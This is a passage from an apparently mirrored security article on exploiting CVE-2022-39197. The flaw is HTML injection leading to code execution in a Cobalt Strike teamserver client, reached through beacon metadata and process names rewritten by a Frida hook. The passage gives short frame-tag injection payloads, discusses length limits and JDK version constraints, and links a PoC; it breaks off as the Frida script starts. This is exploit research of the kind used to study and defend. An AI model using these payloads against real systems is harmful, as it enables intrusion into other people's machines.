want to insert a valid payload, we can only insert all of them into one cell, instead of inserting a part of three cells for merging. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">So let&#39;s take a look at what these three fields look like in teamserver</span></span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4063157894736842" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="1900" src="https://wechat2rss.xlab.app/img-proxy/?k=aea2bd9e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0ibJmaE42BObum9mseq386T3Cn6waxQOicabJHg3mbgAYbciaFU8icNzr7A%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">It can be seen that the content </span><code style="margin-right: 2px;margin-left: 2px;padding: 2px 4px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;border-radius: 4px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">\t</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">of obtained by cutting the string, that is to say, if we do not use it, </span><code style="margin-right: 2px;margin-left: 2px;padding: 2px 4px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;border-radius: 4px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">\t</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">we can write all the content into one cell and save two bytes of tab symbols.</span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.16531604538087522" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="1234" src="https://wechat2rss.xlab.app/img-proxy/?k=da134091&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0y9BmEZ7FGpu4Q09P0c9gg1ZDJibpvQicO6dce1OSb8GdqTMPrfRk2lhA%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><code style="margin-right: 2px;margin-left: 2px;padding: 2px 4px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;border-radius: 4px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">\x09</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">That is </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">, </span></span><code style="margin-right: 2px;margin-left: 2px;padding: 2px 4px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;border-radius: 4px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">\t</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">so we can get the maximum operable length by writing all of these directly to the payload. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">This length is 117-51=66, and then the magic number and 8 bytes of the length are subtracted, so it is the length limit of 66-8=58. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Of course, this is the length limit of metadata, but if we enter the payload from the subsequent aes communication, it will not be subject to this limit, which will be discussed later.</span></span></p><h2 style="margin-top: 30px;margin-bottom: 15px;outline: 0px;font-weight: bold;font-size: 22px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">0x04 Variables brought by the jdk version</span><span style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"></span></h2><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Considering that metadata has payload restrictions, and as mentioned earlier, if you use the object tag, you will find that the length of 58 characters is not enough at all, and it cannot be compressed. If the chain you find is very complicated, it is even more impossible. . </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">So what about going from a restricted payload to an unrestricted payload?</span></span></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Generally speaking, in the browser scenario, it is easy to think of introducing an iframe tag to introduce an external page. Introducing an external page means introducing an external html tag, so the imported external html content will not be limited in length. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">But when we use the iframe tag to blindly test, we will find that there is no response. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">We&#39;re looking through the code, and I remember seeing the frame tag vaguely earlier</span></span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2692307692307692" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 364px !important;" data-type="png" data-w="364" src="https://wechat2rss.xlab.app/img-proxy/?k=c07ee230&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0RoUfdysvibxHuhlCbgNDxsYnBLdQdL527C8n3uHOwvOS3ttaJQFYvyg%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3113854595336077" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="1458" src="https://wechat2rss.xlab.app/img-proxy/?k=204f7d91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0KfxtxtJrDA5WFOicibfDQrKGSVvr6pgolOGnANHe4zBTlYiaAIrfwQzKg%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Implemented a tag called frame, we are too lazy to look at the code, just look at Baidu</span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.743006993006993" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="1144" src="https://wechat2rss.xlab.app/img-proxy/?k=7bc006af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0eNKEEVbMAUic7gjYz06QerOE15xbkTZQum4x3aibSG9mKnmeEmQ47MCg%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8377049180327869" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="1220" src="https://wechat2rss.xlab.app/img-proxy/?k=1c611cb1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs02806q9S0mbia6m7o4UMBHHPYJBEEsnFy6iakzlibPF6gD9TB0gI4P4W9Q%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Following this format, the frame tag has the familiar src attribute to import external pages. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">But if we don&#39;t set the frameset tag in the outer layer, it will report an error </span></span><code style="margin-right: 2px;margin-left: 2px;padding: 2px 4px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;border-radius: 4px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">&lt;html&gt;&lt;frame src=x&gt;</code></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.1359691417550627" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="2074" src="https://wechat2rss.xlab.app/img-proxy/?k=9593bdb3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0icsv2JLEgtodInFV6EKpzeZjpmDLHzKVicYZ2ZIq3Jlk7QhYab0ws1zA%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">The solution is to set a frameset</span></p><pre style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><code style="padding: 15px 16px 16px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;overflow-wrap: break-word !important;">&lt;html&gt;&lt;frameset rows=*&gt;&lt;frame src=x&gt;<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></code></pre><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Of course there is a little trick to further compress</span></p><pre style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><code style="padding: 15px 16px 16px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;overflow-wrap: break-word !important;">&lt;html&gt;1&lt;frame src=x&gt;<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></code></pre><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">This also works. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">This can successfully introduce external pages when the jdk version is high, but an error will be reported on jdk1.8 commonly known as j8 in java8</span></span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.10342555994729907" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="3036" src="https://wechat2rss.xlab.app/img-proxy/?k=957688fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0vkcC2d7USHVHOrFn9cQjG1Q0xLzAkzbsXM3wibjFAF3spxkBrDe5azA%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">This is because the frame will force the type of its parent component to be converted to this type when rendering the frameview, but an error will be reported if the conversion fails. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">This problem is unsolvable in jdk1.8, which is why I thought it was impossible to bypass the length limit of the home page at the beginning (because I used jdk1.8). </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Well, in short, you can bypass the length limit of the home page by referring to the frame tag. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">So how to continue to attack the target in the case of jdk1.8?</span></span></p><h2 style="margin-top: 30px;margin-bottom: 15px;outline: 0px;font-weight: bold;font-size: 22px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">0x05 Ignore the RCE of the jdk version</span><span style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"></span></h2><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">As explained earlier, the home page is limited by the length of the metadata, and almost only the frame tag can bypass the restriction, and it is impossible to use the frame tag to bypass the jdk1.8 version. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">So how do we attack? </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">At this time, we have to settle for the next best thing, assuming that the attacker can interact with the beacon and see if RCE can be achieved. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">The answer is yes. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">As mentioned earlier, the interaction between beacon and teamserver is roughly divided into two parts: one is the RSA of the online package and the other is the AES issued by the subsequent commands, so we only need to inject data into the AES process issued by the command, then we can Ignore the length limit of metadata and perform RCE. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">This is very abstract, but it can be practical.</span></span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5557710960232783" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="2062" src="https://wechat2rss.xlab.app/img-proxy/?k=48c3f3bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0vVowQPsqRWia1yaOpSz2UKAj6PHpIbiceZRlsZUt7C0IC5V8jzcA9zdg%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">That is to say, except for the list on the home page and the eventlog, the echoes and interactions of all commands are transmitted in AES, so as long as the interface data we can see can be controlled, XSS attacks can be carried out! </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Here I use the frada script to hook the win api to modify the process name returned by tasklist, and rewrite the process name into the attack payload. When the attacker clicks the beacon to execute the listed process, as long as he browses to the process name with the payload, RCE will be executed. ! </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">The modifications I made on the basis of this project </span></span><code style="margin-right: 2px;margin-left: 2px;padding: 2px 4px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;border-radius: 4px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><a href="https://github.com/TomAPU/poc_and_exp/blob/master/CVE-2022-39197/cobaltfire.py" target="_blank">https://github.com/TomAPU/poc_and_exp/blob/master/CVE-2022-39197/cobaltfire.py</a></code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"> my frada script content is</span></p><pre style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><code style="padding: 15px 16px 16px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;overflow-wrap: break-word !important;">import</span> frida<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word 